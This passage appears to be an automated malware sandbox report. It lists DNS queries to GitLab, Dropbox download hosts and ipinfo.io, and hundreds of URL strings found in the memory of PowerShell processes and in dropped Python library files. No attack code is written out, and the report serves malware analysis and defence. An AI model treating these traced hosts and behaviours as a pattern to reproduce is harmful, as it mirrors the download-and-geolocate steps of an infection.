https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; font-src https:// data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: test_xml_etree.py.22.dr	String found in binary or memory: http://éffbot.org/ns
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/sp%E4m
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spam
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/sp%E4m
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;cookie=1234
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;ham
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?s%E4y=ni
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?say=ni
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1:8000/
Source: session.py.22.dr	String found in binary or memory: http://bit.ly/1qrySKC)
Source: _mode_gcm.cpython-312.pyc.22.dr	String found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB19D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue2578.
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue6857.
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC98D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC98C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue7250
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 0000000F.00000002.1551315350.000001F16DBD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf
Source: _mode_gcm.cpython-312.pyc.22.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB310000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCB2FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCB2EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/unittest.html
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://effbot.org/ns
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCAED5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCAEE3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCAEF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://homepage.univie.ac.at/erich.neuwirth/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://javascript.crockford.com/tdop/tdop.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC98A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC98B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://links.twibright.com/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA83C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lists.sourceforge.net/lists/listinfo/optik-users).
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC98A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC98B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.browser.org/
Source: cmath_testcases.txt.22.dr	String found in binary or memory: http://mpmath.org)
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://namespace.invalid/does/not/exist/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F1572D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1547579857.000001F165AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1547579857.000001F16595E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1729384575.00000280775BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1729384575.0000028077701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068BAF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2683197438.000001ADD8EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA8FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: test_uuid.py.22.dr	String found in binary or memory: http://python.org/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9970000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC997B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pythonpaste.org)
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F1558F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028067551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC8E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: inNsContent.xml.22.dr, out_inNsContent_c14nPrefixQnameXpathElem.xml.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: WmDefault.tcl.22.dr	String found in binary or memory: http://tix.sourceforge.net/Tixapps/
Source: _mode_openpgp.cpython-312.pyc.22.dr, _mode_openpgp.py.22.dr	String found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB28B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCB297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://twistedmatrix.com/trac/browser/trunk/twisted/trial/runner.py
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC98A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC98B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://w3m.sourceforge.net/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA8FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: test_yield_from.py.22.dr	String found in binary or memory: http://www.cosc.canterbury.ac.nz/greg.ewing/python/yield-from/YieldFrom-Python3.1.2-rev5.zip
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC95D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/character-sets
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCAAE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ibiblio.org/xml/examples/shakespeare/hamlet.xml
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9CD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.megginson.com/SAX/.
Source: cmath_testcases.txt.22.dr	String found in binary or memory: http://www.mpfr.org
Source: koi8_t.py.22.dr	String found in binary or memory: http://www.opensource.apple.com/source/libiconv/libiconv-4/libiconv/tests/KOI8-T.TXT
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA04A000.00000004.00000800.00020000.00000000.sdmp, datetimetester.py.22.dr	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA013000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCA008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/sax/properties/encoding
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/sax/properties/interning-dict
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9B0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.pythonware.com
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB3C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.robotstxt.org/norobots-rfc.txt
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCB3C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sitemaps.org/protocol.html
Source: editor.py.22.dr	String found in binary or memory: http://www.tcl.tk/man/tcl8.6/TkCmd/text.htm#M21
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xmlrpc.com/discuss/msgReader$1208
Source: abs.decTest.22.dr, ddMinus.decTest.22.dr, ddQuantize.decTest.22.dr, ddXor.decTest.22.dr, and.decTest.22.dr, ddMin.decTest.22.dr, ddMaxMag.decTest.22.dr, ddNextMinus.decTest.22.dr, compare.decTest.22.dr, ddOr.decTest.22.dr, ddPlus.decTest.22.dr, ddNextPlus.decTest.22.dr, ddCompareTotal.decTest.22.dr, ddMultiply.decTest.22.dr, ddShift.decTest.22.dr, ddCanonical.decTest.22.dr, ddNextToward.decTest.22.dr, ddLogB.decTest.22.dr	String found in binary or memory: http://www2.hursley.ibm.com/decimal
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/external-general-entities
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/external-parameter-entities
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespace-prefixes
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespaces
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/string-interning
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/validation
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/declaration-handler
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/dom-node
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/lexical-handler
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/xml-string
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC99F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.python.org/entities/fragment-builder/internal
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php)
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xmlrpc.usefulinc.com/doc/reserved.html
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xmlrpc.usefulinc.com/doc/sysmethodsig.html
Source: test_wsgiref.py.22.dr	String found in binary or memory: https://127.0.0.1/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 0000000F.00000002.1534774564.000001F1558F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028067551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC8E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC970F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC9704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.launchpad.net/pycrypto/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9B42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue17741
Source: config.py.22.dr	String found in binary or memory: https://bugs.python.org/issue25313.
Source: datetimetester.py.22.dr	String found in binary or memory: https://bugs.python.org/issue32417
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/msg352381
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1682503009.0000028068B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 00000016.00000002.2683197438.000001ADD8EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.2683197438.000001ADD8EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.2683197438.000001ADD8EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000012.00000002.1682503009.0000028068B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: editor.py.22.dr	String found in binary or memory: https://docs.python.org/%d.%d/
Source: powershell.exe, 00000016.00000002.2599061875.000001ADCA2A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADCA23E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: powershell.exe, 00000016.00000002.2599061875.000001ADC9602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-stream.html
